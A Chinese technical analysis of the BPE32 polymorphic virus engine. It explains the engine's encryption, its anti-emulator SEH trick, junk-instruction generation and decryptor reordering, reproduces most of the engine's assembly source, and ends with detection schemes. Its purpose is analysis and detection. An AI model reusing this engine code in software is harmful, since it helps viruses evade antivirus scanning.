BPE32 多态引擎剖析

一 BPE32简介
二 技术细节分析
   2.0 -- 整体流程设计
   2.1 -- 随机数设计
   2.2 -- 代码加密方案
   2.3 -- 对抗VM的SEH设计
   2.4 -- 随机数生成与寄存器选择
   2.5 -- 垃圾指令生成方式
   2.6 -- 解密器设计
   2.7 -- 重建指令流程
三 代码解析
四 检测方案

一 BPE32简介:
   BPE32(Benny's Polymorphic Engine for Win32)多态引擎是由Benny's /29A在#4期发布的一个病毒多态引擎,之后在病毒编写如(如Win32.Vulcano)及壳的编写(如ASProtect)当中都得到了应用,BPE32是一个很不错的多态引擎,这里将从设计的角度分析该引擎。

   按照Benny's的描述,BPE32引擎有如下特点:
   1 可以通过创建SEH来干扰一些AV
   2 随机使用寄存器做代码的混淆
   3 同一功能代码,由不同的指令动态生成
   4 功能代码具有空间随机分布
   5 具有仿真CALL 及 jmp 指令
   6 在代码之间插入垃圾指令(也包括使用未公开的SALC指令)

   我们先看一下BPE32的调用时的输入参数,
   ESI  -- 指向待加密的virus数据。
   EDI  -- 指向一块内存数据,用来存放由BPE32生成的解密器及加密数据。
   ECX  -- 加解密数据的计数,加解密时按照4byte的方式操作,数据由公式(_end - start +3)/4 获得。
   EBP  -- 做重定位时使用。
   输出参数,
   EAX  -- 解码器加上加密数据后的大小,不对齐,精确到1byte而不是一个DWORD
   调用很方式简单,例如:
   mov esi, vir_body ; 病毒体
   mov edi, pmem     ; 内存空间
   mov ecx, 6c0h     ; 解密计数
   call BPE32
   这样调用后pmem里面就是一个重建的病毒代码了。
   下面将对具体技术细节做分析。
二 技术细节分析
   2.0 流程设计:
   调用BPE32后,将在内存中产生如下方式的3部分功能代码,结构如下:
/------  +--------------------+
|        |构造call  decryptor |  --------->@1
|        +--------------------+
|        |                    |
|        | 加密的virus body   |  --------->@2
|        |                    |
\------> |--------------------+
         |                    |
         |    decryptor       |
         |                    |  --------->@3
         +--------------------+

  @1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。
  @2 是一个经过加密后的病毒体。
  @3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。
  这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。

2.1 随机数设计:
  BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。
      random  proc
      push edx
      RDTCS
      xor edx, edx          ;nulify EDX, we need only EAX
      cmp [esp+8], edx      ;is parameter==0 ?
      je r_out              ;yeah, do not truncate result
      div dword ptr [esp+8]  ;divide it
      xchg eax, edx          ;remainder as result
    r_out:  pop edx          ;restore EDX
      ret Pshd              ;quit procedure and destroy pushed parameter
    random  endp

2.2 代码加密方案:
  BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个DWORD,实现如下:

      push 0              ;产生一个无范围的随机数
      call random          ;
      xchg edx, eax
      mov [ebp + xor_key - mgdelta], edx  ;存储基密钥
      push 0              ;产生一个无范围的随机数
      call random
      xchg ebx, eax
      mov [ebp + key_inc - mgdelta], ebx  ;存储增量密钥
    x_loop:  lodsd          ;加密virus body
      xor eax, edx
      stosd
      add edx, ebx
      loop x_loop

2.3 对抗VM的SEH设计:
  对于上面小节中提到的 @3部分,其实是由如下部分组成的。
decryptor  ---->  +------------------+ <--------\
                |  seh handler     |          |
                +------------------+          |
                |  deleta geter    |          |
                +------------------+          |
                |   decryption     |          |
                +------------------+          |
                |  loop decryptor  | ---------/
                +------------------+
  seh handler    -- 安装一个seh处理过程。
  deleta geter   -- 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。
  decryption     -- 解密部分,同样由垃圾指令所包围。
  loop decryptor -- 跳向seh handler。
  对于SEH BPE32会产生如下形式的代码:

        start:
        call end_seh_fn
  /---->mov esp, [esp+8]        ;--> 相当于push  seh->handler
  |      jmp seh_rs
  |    end_seh_fn:
  |      sub edx, edx
  |      push dword ptr fs:[edx] ;--> 相当于push  seh->prev
  |      mov fs:[edx], esp
  \-----inc byte ptr [edx]      ;--> 该处引发异常,跳向上面语句
        jmp start
      seh_rs:  xor edi, edi
        pop dword ptr fs:[edi]
        pop edi
   这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当中。

2.4 随机数生成与寄存器选择
   BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下:

        get_reg proc
        push 8       ; 产生一个随机的 0 ~ 7 之间的整数
        call random
        test eax, eax
        je get_reg   ;不能使用eax
        cmp al, 100b ;不能使用esp
        je get_reg
        ret
        get_reg endp

2.5 垃圾指令生成方式:
    BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。
    0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
    左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如:
    eax 是 0时,产生5byte junk
    eax 是 1时,产生1byte junk 和 2byte junk
    eax 是 2时,则先产生2byte junk,再产生1byte junk
    eax 是 7时,产生jmp或call
    按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。

    1 byte junk 示例:
    esi -- > 待加密数据
    edi -- > 内存buff
    产生1byte junk指令到内存buff
    j1:
        call junx1      ;one byte junk instruction
        nop
        dec eax
        SALC
        inc eax
        clc
        cwde
        stc
        cld
    junx1:
        pop esi         ; 1 byte junk 指令首地址,即指向nop指令
        push 8
        call random
        add esi, eax    ; 随机定位一条
        movsb           ;加入edi指向的内存当中
        ret
  其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的寄存器(由bl寄存器中的内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如:
    mov bh,2
    call make_xor2
    mov eax,01234567h
    stosd
    以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。  

2.6 解密器设计
  因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代码表示出来。

       mov  Rx,src      --------  I1  获得待解密的地址,放入Rx中
       mov  Rx, cnt      --------  I2  获得要解密的此时,放入Rx中
  /--->xor  Rx,Rx       --------  I3  解密
  |     add  Rx,4        --------  I4  待解密的地址加4
  |     add  Rx,1        --------  I5  计数器加1
  |     add  Rx,Rx       --------  I6  基密钥 + 增量密钥
  |     jcxz xxx          --------  I7  测试解密是否完成,完成后跳出循环
  \--- jmp  xxx          --------  I8  继续解密

   BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32产生的解密代码。
      0040202B    E8 00000000     CALL T-BPE32.00402030          ;构造的一个call

      00402030    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
      00402033    58              POP EAX
      00402034    81EF 30204000   SUB EDI,T-BPE32.00402030       ;构造一个重定位
      ; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址
      0040203A    68 CB3B97F7     PUSH F7973BCB                   ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用
      0040203F    59              POP ECX                        ;这里ecx寄存器随机生成
      00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE

      00402046    03CF            ADD ECX,EDI                     ;加重定位,获得真正数据的指向
      ;I2 的一种生成方式,方案类似于 I1
      00402048    33D2            XOR EDX,EDX                    ; 获得解密的次数,同样采用随机密钥来混淆
      0040204A    81C2 68D4F805   ADD EDX,5F8D468
      00402050    81F2 6AD4F805   XOR EDX,5F8D46A
      ;I3
      00402056    2BDB            SUB EBX,EBX                    ;获得密钥,该处密钥均为0
      00402058    81C3 00000000   ADD EBX,0
      0040205E    3119            XOR DWORD PTR DS:[ECX],EBX     ;解密

      ;I4 使计数增加的一种方式
      00402060    41              INC ECX                         ;源数据增加4
      00402061    41              INC ECX
      00402062    41              INC ECX
      00402063    41              INC ECX

      ;I5
      00402064    B8 CC54578A     MOV EAX,8A5754CC               ;循环计数减1
      00402069    2BD0            SUB EDX,EAX
      0040206B    81C2 CB54578A   ADD EDX,8A5754CB
      ;I6
      00402071    B8 00000000     MOV EAX,0                       ;基址密钥+增量密钥加(目前增量是0)
      00402076    03D8            ADD EBX,EAX
      ;I7
      00402078    51              PUSH ECX
      00402079    8BCA            MOV ECX,EDX
  /---0040207B    E3 03           JECXZ SHORT T-BPE32.00402080   ;测试看解密是否完成
  |   ;I8
  |    0040207D    59              POP ECX
  |    0040207E  ^ EB DE           JMP SHORT T-BPE32.0040205E     ;继续进行解密
  \-->00402080    59              POP ECX
      00402081    61              POPAD
      00402082    C3              RETN
2.7 重建指令流程
    针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:
    greg0  -- 产生SEH部分代码
    greg1  -- 产生SEH部分代码
    greg2  -- 产生mov Rx,src 类代码
    greg3  -- 产生mov Rx, cnt类代码
    以上部分例程不进行代码重排序。
    greg4  --  产生密钥自增代码
    greg5  -- 产生待解密数据自增代码
    greg6  -- 产生计数器自减的代码
    greg7  -- 产生解密跳转的代码
    BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:
    greg4提供4种等效方案,供随机选择
    1:XCHG EAX, Rx  
       XOR Rx, Rx   
       OR Rx, EAX
       ADD Rx, value
    2: add Rx,value
    3: mov eax,value
       add Rx,eax
    4: mov eax,Rx
       add eax,value
       xchg eax,Rx
   greg5 提供多种等效方案,供随机选择,如
   1:
   inc Rx  ;执行4次
   2:                       3: 
   mov eax,Rx ,             mov eax,4
   add eax,4                add Rx,eax
   xchg eax,Rx
   greg6提供了4种等效方案,供随机选择
   1:sub Rx,1 
   2:dec Rx,1    
   3:
   mov eax, random_v
   sub Rx, eax
   add reg,random -1
   4:
   xchg eax,Rx
   dec eax
   xchg eax,Rx
   greg7提供了两种等效方案,供随机选择
   1:
    push ecx
    mov ecx, reg
    jecxz label
    pop ecx
    jmp decrypt_loop
    label:
    pop ecx
  2 :
    xor eax, eax
    dec eax
    add eax, reg
    jns decrypt_loop
  而整体greg4 ~ greg6的排序规则由如下代码产生:
  push 6            ;产生0 ~ 5种方案的随机排列顺序
  call random        
  test eax, eax
  je g5            ;greg4 - key incremention
  cmp al, 1        ;greg5 - source incremention
  je g1            ;greg6 - count decremention
  cmp al, 2        ;greg7 - decryption loop
  je g2
  cmp al, 3
  je g3
  cmp al, 4
  je g4
  g0:  call gg1
    call greg6
    jmp g_end
  g1:  call gg2
    call greg5
    jmp g_end
  g2:  call greg5
    call gg2
    jmp g_end
  g3:  call greg5
  gg3:  call greg6
    jmp g_out
  g4:  call greg6
    call gg1
    jmp g_end
  g5:  call greg6
    call greg5
  g_out:  call greg4
  g_end:  call greg7
    mov al, 61h        
    stosb              
    call rjunk        
    mov al, 0c3h    
    stosb              
    pop eax          
    sub eax, edi    
    neg eax          
    mov [esp.Pushad_eax], eax    
    popad          
    ret          ;整个BPE32结束
三 代码解析
   下面将对BPE32关键处的代码做简要的注释;
RDTCS  equ  <dw  310Fh>    ;RDTCS opcode
SALC  equ  <db  0D6h>      ;SALC opcode
BPE32   Proc
  pushad          ;save all regs
  push edi        ;save these regs for l8r use
  push ecx        ;  ...
  mov edx, edi    ;  ...
  push esi        ;preserve this reg
  call rjunk      ;generate random junk instructions
  pop esi          ;restore it
  mov al, 0e8h    ;create CALL instruction
  stosb            ;  ...
  mov eax, ecx    ;  ...
  imul eax, 4      ;  ...
  stosd            ;  ...
  ;edx保存有最开始的edi 
  mov eax, edx        ;calculate size of CALL+junx
  sub edx, edi        ;  ...
  neg edx              ;  ...
  add edx, eax        ;  ...
  push edx            ;保存 call 与 填充垃圾指令的差值    
  push 0              ;get random number
  call random          ;  ...
  xchg edx, eax
  mov [ebp + xor_key - mgdelta], edx  ;use it as xor constant
  push 0          ;get random number
  call random        ;  ...
  xchg ebx, eax
  mov [ebp + key_inc - mgdelta], ebx  ;use it as key increment constant
x_loop:  lodsd          ;load DWORD
  xor eax, edx        ;encrypt it
  stosd          ;store encrypted DWORD
  add edx, ebx        ;increment key
  loop x_loop        ;next DWORD
;  以上完成了对病毒体的加密
;  下面进行利用SEH对抗AV VM仿真
  call rjunk              ;generate junx
  mov eax, 0006e860h      ;generate SEH handler
  stosd          ;  ...
  mov eax, 648b0000h      ;  ...
  stosd          ;  ...
  mov eax, 0ceb0824h      ;  ...
  stosd          ;  ...
  ;以上产生类似如下代码
  ;pushad
  ;call t_bpe32.0040200c
  ;mov esp,dword ptr ss:[esp+8]
  ;jmp short t_bpe32.00402018  
greg0:  call get_reg        ;get random register
  cmp al, 5                  ;MUST NOT be EBP register
  je greg0
  mov bl, al                ;store register
  ;dl 是参数,11 是产生非mov reg,reg 指令的标志
  mov dl, 11                ;proc parameter (do not generate MOV)
  call make_xor              ;create XOR or SUB instruction
  inc edx                    ;destroy parameter
  mov al, 64h                ;generate FS:
  stosb                      ;store it
  mov eax, 896430ffh        ;next SEH instructions
  or ah, bl                  ;change register
  stosd                      ;store them
  mov al, 20h                ;  ...
  add al, bl                ;  ...
  stosb                      ;  ...
  ;以上将产生类似如下代码
  ;xor Rx,Rx
  ;push dword ptr fs:[Rx]
  ;mov  dword ptr fs:[Rx],esp  
  push 2              ;get random number
  call random
  test eax, eax
  je _byte_
  mov al, 0feh        ;generate INC DWORD PTR
  jmp _dw_
_byte_:  mov al, 0ffh  ;generate INC BYTE PTR
_dw_:  stosb            ;store it
  mov al, bl          ;store register
  stosb          
  mov al, 0ebh        ;generate JUMP SHORT
  stosb          
  mov al, -24d        ;generate jump to start of code (trick
  stosb               ;for better emulators, e.g. NODICE32)
; 以上产生类似如下代码   
;  inc byte ptr [edx]
; jmp start             
  call rjunk                ;generate junx
greg1:  call get_reg        ;generate random register
  cmp al, 5                  ;MUST NOT be EBP
  je greg1
  mov bl, al                ;store it
  call make_xor              ;generate XOR,SUB reg, reg or MOV reg, 0
  mov al, 64h                 ;next SEH instructions
  stosb          
  mov al, 8fh        
  stosb          
  mov al, bl        
  stosb          
  mov al, 58h        
  add al, bl        
  stosb    
  mov al, 0e8h        ;generate CALL
  stosb          
  xor eax, eax        
  stosd          
  push edi          ;store for l8r use
  call rjunk        ;call junk generator

  call get_reg      ;random register
  mov bl, al        ;store it
  push 1            ;random number (0-1)
  call random        
  test eax, eax
  jne next_delta
  mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX
  stosb
  mov al, 80h
  or al, bl
  rol al, 3
  stosb
  mov al, 24h
  stosb
  mov al, 58h
  jmp bdelta
;以上产生类似如下代码
;seh_rs:  
;  xor Rx, Rx
;  pop dword ptr fs:[Rx]
;  pop Rx
next_delta:
  mov al, bl        ;generate POP reg; SUB reg, ...
  add al, 58h
bdelta:  stosb
  mov al, 81h
  stosb
  mov al, 0e8h
  add al, bl
  stosb
  pop eax
  stosd
  call rjunk        ;random junx
  ;做一个随机的重定位  
  xor bh, bh        ;parameter (first execution only)
  call greg2        ;generate MOV sourcereg, ...
  mov al, 3          ;generate ADD sourcereg, deltaoffset
  stosb          
  mov al, 18h        
  or al, bh        
  rol al, 3        
  or al, bl        
  stosb          
  mov esi, ebx      ;store EBX
  call greg2        ;generate MOV countreg, ...
  mov cl, bh        ;store count register
  mov ebx, esi        ;restore EBX

  call greg3        ;generate MOV keyreg, ...
  push edi          ;store this position for jump to decryptor
  mov al, 31h        ;generate XOR [sourcereg], keyreg
  stosb          
  mov al, ch        
  rol al, 3        
  or al, bh        
  stosb          
  push 6            ;this stuff will choose ordinary of calls
  call random        ;to code generators
  test eax, eax
  je g5              ;greg4 - key incremention
  cmp al, 1          ;greg5 - source incremention
  je g1              ;greg6 - count decremention
  cmp al, 2          ;greg7 - decryption loop
  je g2
  cmp al, 3
  je g3
  cmp al, 4
  je g4
g0:  call gg1
  call greg6
  jmp g_end
g1:  call gg2
  call greg5
  jmp g_end
g2:  call greg5
  call gg2
  jmp g_end
g3:  call greg5
gg3:  call greg6
  jmp g_out
g4:  call greg6
  call gg1
  jmp g_end
g5:  call greg6
  call greg5
g_out:  call greg4
g_end:  call greg7
  mov al, 61h        ;generate POPAD instruction
  stosb          
  call rjunk        ;junk instruction generator
  mov al, 0c3h      ;RET instruction
  stosb          
  pop eax            ;calculate size of decryptor and encrypted data
  sub eax, edi        
  neg eax          
  mov [esp.Pushad_eax], eax    ;store it to EAX register
  popad              ;restore all regs
  ret                ;and thats all folx
get_reg proc        ;this procedure generates random register
  push 8            ;random number (0-7)
  call random        ;  ...
  test eax, eax
  je get_reg        ;MUST NOT be 0 (=EAX is used as junk register)
  cmp al, 100b        ;MUST NOT be ESP
  je get_reg
  ret
get_reg endp
make_xor proc        ;this procedure will generate instruction, that
  push 3            ;will nulify register (BL as parameter)
  call random
  test eax, eax
  je _sub_
  cmp al, 1
  je _mov_
  mov al, 33h          ;generate XOR reg, reg
  jmp _xor_
_sub_:  mov al, 2bh    ;generate SUB reg, reg
_xor_:  stosb
  mov al, 18h
  or al, bl
  rol al, 3
  or al, bl
  stosb
  ret
_mov_:  cmp dl, 11        ;generate MOV reg, 0
  je make_xor
  mov al, 0b8h
  add al, bl
  stosb
  xor eax, eax
  stosd
  ret
make_xor endp
gg1:  call greg4
  jmp greg5
gg2:  call greg4
  jmp greg6

random  proc          ;this procedure will generate random number            
  push edx            ;save EDX
  RDTCS                ;RDTCS instruction - reads PCs tix and stores
  xor edx, edx        ;nulify EDX, we need only EAX
  cmp [esp+8], edx    ;is parameter==0 ?
  je r_out        
  div dword ptr [esp+8]  ;divide it
  xchg eax, edx          ;remainder as result
r_out:  pop edx          ;restore EDX
  ret Pshd              ;quit procedure and destroy pushed parameter
random  endp
make_xor2 proc          ;create XOR instruction
  mov al, 81h
  stosb
  mov al, 0f0h
  add al, bh
  stosb
  ret
make_xor2 endp
greg2  proc          ;1 parameter = source/count value
  call get_reg      ;get register
  cmp al, bl        ;already used ?
  je greg2
  cmp al, 5
  je greg2
  cmp al, bh
  je greg2
  mov bh, al
  mov ecx, [esp+4]      ;get parameter(构造的第一个call指令后下一个地址)
  push 5                ;choose instructions
  call random
  test eax, eax
  je s_next0
  cmp al, 1
  je s_next1
  cmp al, 2
  je s_next2
  cmp al, 3
  je s_next3

  mov al, 0b8h        ;MOV reg, random_value
  add al, bh          ;XOR reg, value
  stosb                ;param = random_value xor value
  push 0
  call random
  xor ecx, eax
  stosd
  call make_xor2
  mov eax, ecx
  jmp n_end2
s_next0:mov al, 68h    ;PUSH random_value
  stosb                ;POP reg
  push 0              ;XOR reg, value
  call random          ;result = random_value xor value
  xchg eax, ecx
  xor eax, ecx
  stosd
  mov al, 58h
  add al, bh
  stosb
  call make_xor2
  xchg eax, ecx
  jmp n_end2
s_next1:mov al, 0b8h  ;MOV EAX, random_value
  stosb                ;MOV reg, EAX
  push 0              ;SUB reg, value
  call random          ;result = random_value - value
  stosd
  push eax
  mov al, 8bh
  stosb
  mov al, 18h
  or al, bh
  rol al, 3
  stosb
  mov al, 81h
  stosb
  mov al, 0e8h
  add al, bh
  stosb
  pop eax
  sub eax, ecx
  jmp n_end2
s_next2:push ebx    ;XOR reg, reg
  mov bl, bh        ;XOR reg, random_value
  call make_xor      ;ADD reg, value
  pop ebx            ;result = random_value + value
  call make_xor2
  push 0
  call random
  sub ecx, eax
  stosd
  push ecx
  call s_lbl
  pop eax
  jmp n_end2
s_lbl:  mov al, 81h        ;create ADD reg, ... instruction
  stosb
  mov al, 0c0h
  add al, bh
  stosb
  ret
s_next3:push ebx        ;XOR reg, reg
  mov bl, bh            ;ADD reg, random_value
  call make_xor          ;XOR reg, value
  pop ebx                ;result = random_value xor value
  push 0
  call random
  push eax
  xor eax, ecx
  xchg eax, ecx
  call s_lbl
  xchg eax, ecx
  stosd
  call make_xor2
  pop eax  
n_end2:  stosd
  push esi
  call rjunk
  pop esi
  ret Pshd
greg2  endp
greg3  proc
  call get_reg        ;get register
  cmp al, 5            ;already used ?
  je greg3
  cmp al, bl
  je greg3
  cmp al, bh
  je greg3
  cmp al, cl
  je greg3
  mov ch, al
  mov edx, 0        ;get encryption key value
xor_key = dword ptr $ - 4
  push 3
  call random
  test eax, eax
  je k_next1
  cmp al, 1
  je k_next2
  push ebx          ;XOR reg, reg
  mov bl, ch        ;OR, ADD, XOR reg, value
  call make_xor
  pop ebx

  mov al, 81h
  stosb
  push 3
  call random
  test eax, eax
  je k_nxt2
  cmp al, 1
  je k_nxt3
  mov al, 0c0h
k_nxt1:  add al, ch
  stosb
  xchg eax, edx
n_end1:  stosd
k_end:  call rjunk
  ret
k_nxt2:  mov al, 0f0h
  jmp k_nxt1
k_nxt3:  mov al, 0c8h
  jmp k_nxt1
k_next1:mov al, 0b8h        ;MOV reg, value
  jmp k_nxt1
k_next2:mov al, 68h          ;PUSH value
  stosb          ;POP reg
  xchg eax, edx
  stosd
  mov al, ch
  add al, 58h
  jmp i_end1
greg3  endp
greg4  proc
  mov edx, 0       ;get key increment value
key_inc = dword ptr $ - 4
i_next:  push 3
  call random
  test eax, eax
  je i_next0
  cmp al, 1
  je i_next1
  cmp al, 2
  je i_next2
  mov al, 90h        ;XCHG EAX, reg
  add al, ch        ;XOR reg, reg
  stosb              ;OR reg, EAX
  push ebx          ;ADD reg, value
  mov bl, ch
  call make_xor
  pop ebx
  mov al, 0bh
  stosb
  mov al, 18h
  add al, ch
  rol al, 3
  stosb
i_next0:mov al, 81h        ;ADD reg, value
  stosb
  mov al, 0c0h
  add al, ch
  stosb
  xchg eax, edx
  jmp n_end1
i_next1:mov al, 0b8h        ;MOV EAX, value
  stosb                      ;ADD reg, EAX
  xchg eax, edx
  stosd
  mov al, 3
  stosb
  mov al, 18h
  or al, ch
  rol al, 3
i_end1:  stosb
i_end2:  call rjunk
  ret
i_next2:mov al, 8bh        ;MOV EAX, reg
  stosb                    ;ADD EAX, value
  mov al, 0c0h            ;XCHG EAX, reg
  add al, ch
  stosb
  mov al, 5
  stosb
  xchg eax, edx
  stosd
  mov al, 90h
  add al, ch
  jmp i_end1
greg4  endp
greg5  proc
  push ecx
  mov ch, bh
  push 4
  pop edx
  push 2
  call random
  test eax, eax
  jne ng5
  call i_next        ;same as previous, value=4
  pop ecx
  jmp k_end
ng5:  mov al, 40h        ;4x inc reg
  add al, ch
  pop ecx
  stosb
  stosb
  stosb
  jmp i_end1
greg5  endp
greg6  proc
  push 5
  call random
  test eax, eax
  je d_next0
  cmp al, 1
  je d_next1
  cmp al, 2
  je d_next2
  mov al, 83h        ;SUB reg, 1
  stosb
  mov al, 0e8h
  add al, cl
  stosb
  mov al, 1
  jmp i_end1
d_next0:mov al, 48h        ;DEC reg
  add al, cl
  jmp i_end1
d_next1:mov al, 0b8h        ;MOV EAX, random_value
  stosb                      ;SUB reg, EAX
  push 0                    ;ADD reg, random_value-1
  call random
  mov edx, eax
  stosd
  mov al, 2bh
  stosb
  mov al, 18h
  add al, cl
  rol al, 3
  stosb
  mov al, 81h
  stosb
  mov al, 0c0h
  add al, cl
  stosb
  dec edx
  mov eax, edx
  jmp n_end1
d_next2:mov al, 90h        ;XCHG EAX, reg
  add al, cl              ;DEC EAX
  stosb                    ;XCHG EAX, reg
  mov al, 48h
  stosb
  mov al, 90h
  add al, cl
  jmp i_end1
greg6  endp

greg7  proc
  mov edx, [esp+4]
  dec edx
  push 2
  call random
  test eax, eax
  je l_next0
  mov al, 51h        ;PUSH ECX
  stosb              ;MOV ECX, reg
  mov al, 8bh        ;JECXZ label
  stosb              ;POP ECX
  mov al, 0c8h      ;JMP decrypt_loop
  add al, cl        ;label:
  stosb              ;POP ECX
  mov eax, 0eb5903e3h
  stosd
  sub edx, edi
  mov al, dl
  stosb
  mov al, 59h
  jmp l_next
l_next0:push ebx    ;XOR EAX, EAX
  xor bl, bl        ;DEC EAX
  call make_xor      ;ADD EAX, reg
  pop ebx            ;JNS decrypt_loop
  mov al, 48h
  stosb
  mov al, 3
  stosb
  mov al, 0c0h
  add al, cl
  stosb
  mov al, 79h
  stosb
  sub edx, edi
  mov al, dl
l_next:  stosb
  call rjunk
  ret Pshd
greg7  endp

rjunkjc:push 7
  call random
  jmp rjn

  
rjunk  proc      ;junk instruction generator
  push 8
  call random    ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
                ;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)
rjn:  test eax, eax
  je j5
  cmp al, 1
  je j_1x2
  cmp al, 2
  je j_2x1
  cmp al, 4
  je j2
  cmp al, 5
  je j3
  cmp al, 6
  je r_end
  cmp al, 7
  je jcj
j1:  call junx1    ;one byte junk instruction
  nop
  dec eax
  SALC
  inc eax
  clc
  cwde
  stc
  cld
junx1:  pop esi
  push 8
  call random
  add esi, eax
  movsb
  ret
j_1x2:  call j1      ;one byte and two byte
  jmp j2
j_2x1:  call j2      ;two byte and one byte
  jmp j1
j3:  call junx3
  db  0c1h, 0c0h  ;rol eax, ...
  db  0c1h, 0e0h  ;shl eax, ...
  db  0c1h, 0c8h  ;ror eax, ...
  db  0c1h, 0e8h  ;shr eax, ...
  db  0c1h, 0d0h  ;rcl eax, ...
  db  0c1h, 0f8h  ;sar eax, ...
  db  0c1h, 0d8h  ;rcr eax, ...
  db  083h, 0c0h
  db  083h, 0c8h
  db  083h, 0d0h
  db  083h, 0d8h
  db  083h, 0e0h
  db  083h, 0e8h
  db  083h, 0f0h
  db  083h, 0f8h  ;cmp eax, ...
  db  0f8h, 072h  ;clc; jc ...
  db  0f9h, 073h  ;stc; jnc ...
junx3:  pop esi      ;three byte junk instruction
  push 17
  call random
  imul eax, 2
  add esi, eax
  movsb
  movsb
r_ran:  push 0
  call random
  test al, al
  je r_ran
  stosb
  ret
j2:  call junx2
  db  8bh    ;mov eax, ...
  db  03h    ;add eax, ...
  db  13h    ;adc eax, ...
  db  2bh    ;sub eax, ...
  db  1bh    ;sbb eax, ...
  db  0bh    ;or eax, ...
  db  33h    ;xor eax, ...
  db  23h    ;and eax, ...
  db  33h    ;test eax, ...

junx2:  pop esi      ;two byte junk instruction
  push 9
  call random
  add esi, eax
  movsb
  push 8
  call random
  add al, 11000000b
  stosb
r_end:  ret
j5:  call junx5
  db  0b8h    ;mov eax, ...
  db  05h    ;add eax, ...
  db  15h    ;adc eax, ...
  db  2dh    ;sub eax, ...
  db  1dh    ;sbb eax, ...
  db  0dh    ;or eax, ...
  db  35h    ;xor eax, ...
  db  25h    ;and eax, ...
  db  0a9h    ;test eax, ...
  db  3dh    ;cmp eax, ...

junx5:  pop esi      ;five byte junk instruction
  push 10
  call random
  add esi, eax
  movsb
  push 0
  call random
  stosd
  ret
jcj:  call rjunkjc    ;junk
  push edx    
  push ebx    ;junk
  push ecx    
  mov al, 0e8h    ;CALL label1 
  stosb      
  push edi    
  stosd      
  push edi    
  call rjunkjc    
  mov al, 0e9h    ;JMP label2  
  stosb
  mov ecx, edi
  stosd
  mov ebx, edi            ; 保存后方要修改jmp地址时的EDI,
  call rjunkjc
  pop eax
  sub eax, edi
  neg eax
  mov edx, edi
  pop edi
  stosd
  mov edi, edx
  call rjunkjc
  mov al, 0c3h            ; ret 
  stosb
  call rjunkjc
  sub ebx, edi            ;前面指令jmp 后的地址值
  neg ebx
  xchg eax, ebx
  push edi
  mov edi, ecx
  stosd
  pop edi
  call rjunkjc
  pop ecx
  pop ebx
  pop edx
  ret
rjunk  endp
BPE32     EndP      ;BPE32 ends here

四 检测方案
   针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多);
   1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。
   2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。
   3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重定位代码,之后如发现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令)以上面的代码为例,执行的是如下代码:
      0040203A    68 CB3B97F7     PUSH F7973BCB                   ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用
      0040203F    59              POP ECX                        ;这里ecx寄存器是随机生成的
      00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE
if(v_callnext == F7973BCB ^ F7D71BCE)
{
   printf("found Polymorphic virus\n");
}   
   该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。
